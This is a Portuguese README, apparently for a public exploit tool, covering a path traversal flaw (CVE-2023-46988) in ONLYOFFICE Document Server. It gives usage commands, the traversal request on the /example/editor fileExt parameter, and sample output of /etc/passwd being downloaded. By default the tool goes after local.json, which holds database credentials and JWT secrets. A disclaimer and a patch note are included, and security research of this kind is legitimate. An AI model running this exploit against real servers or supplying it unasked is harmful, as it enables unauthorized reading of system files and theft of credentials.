Exploração de Path Traversal no ONLYOFFICE (CVE-2023-46988)

📌 Visão Geral

Este script explora uma vulnerabilidade de path traversal no ONLYOFFICE Document Server (CVE-2023-46988) que permite que usuários não autorizados copiem arquivos arbitrários do servidor. A vulnerabilidade existe no endpoint /example/editor, onde o parâmetro fileExt pode ser manipulado para acessar arquivos sensíveis do sistema e de configuração.

⚠️ Aviso Legal

Esta ferramenta é destinada exclusivamente a fins educacionais e de pesquisa de segurança autorizada.
O uso não autorizado contra sistemas sem permissão explícita é ilegal e antiético.

🛠 Recursos

• Recupera arquivos sensíveis padrão:
  • /etc/passwd
  • /etc/onlyoffice/documentserver/local.json (contém credenciais de banco de dados e segredos JWT)
• Especifique qualquer caminho de arquivo para recuperar com o argumento --file.
• Suporta proxy opcional para interceptação no Burp Suite (--proxy).
• Suporta verificação SSL opcional (--verify).
• Corrige problemas de codificação ao baixar arquivos com caracteres especiais.

🚀 Uso

1️⃣ Uso Básico (Recuperar Arquivos Padrão)

python onlyoffice_exploit.py http://localhost

Isso recupera:

• /etc/passwd
• /etc/onlyoffice/documentserver/local.json

2️⃣ Recuperar um Arquivo Personalizado (ex.: /etc/hosts)

python onlyoffice_exploit.py http://localhost --file /etc/hosts

3️⃣ Ativar Proxy (ex.: Burp Suite em 127.0.0.1:8080)

python onlyoffice_exploit.py http://localhost --proxy

python onlyoffice_exploit.py http://localhost --proxy http://127.0.0.1:8080

4️⃣ Ativar Verificação SSL

python onlyoffice_exploit.py https://example.local --verify

5️⃣ Combinar Proxy e Verificação SSL

python onlyoffice_exploit.py https://example.local --file /etc/hosts --proxy --verify

🔍 Como Funciona

1. Envia uma requisição para /example/editor com um parâmetro fileExt malicioso:
   root@kitploit:~

   GET /example/editor?fileExt=../../../../../../../../etc/passwd
   

2. Extrai a URL de redirecionamento da resposta.
3. Analisa o nome do arquivo redirecionado a partir da resposta.
4. Corrige problemas de codificação para caracteres especiais em nomes de arquivo.
5. Baixa o arquivo de /example/download?fileName=<nome_do_arquivo_extraido>.

🛠 Exemplo de Saída

[*] Target URL: http://localhost
[*] Attempting to retrieve: /etc/passwd
[*] Sending request to: http://localhost/example/editor?fileExt=../../../../../../../../etc/passwd
[+] Extracted Redirect URL: http://localhost/example/download?fileName=.passwd
[+] Extracted File Name: .passwd
[*] Downloading file: http://localhost/example/download?fileName=.passwd
[+] File downloaded successfully: .passwd

🔒 Mitigação

A ONLYOFFICE corrigiu esta vulnerabilidade em sua atualização de fevereiro de 2024.
Os usuários devem atualizar para a versão mais recente para proteger seus servidores.

🐜 Licença

Este projeto está licenciado sob a Licença MIT – consulte o arquivo LICENSE para obter detalhes.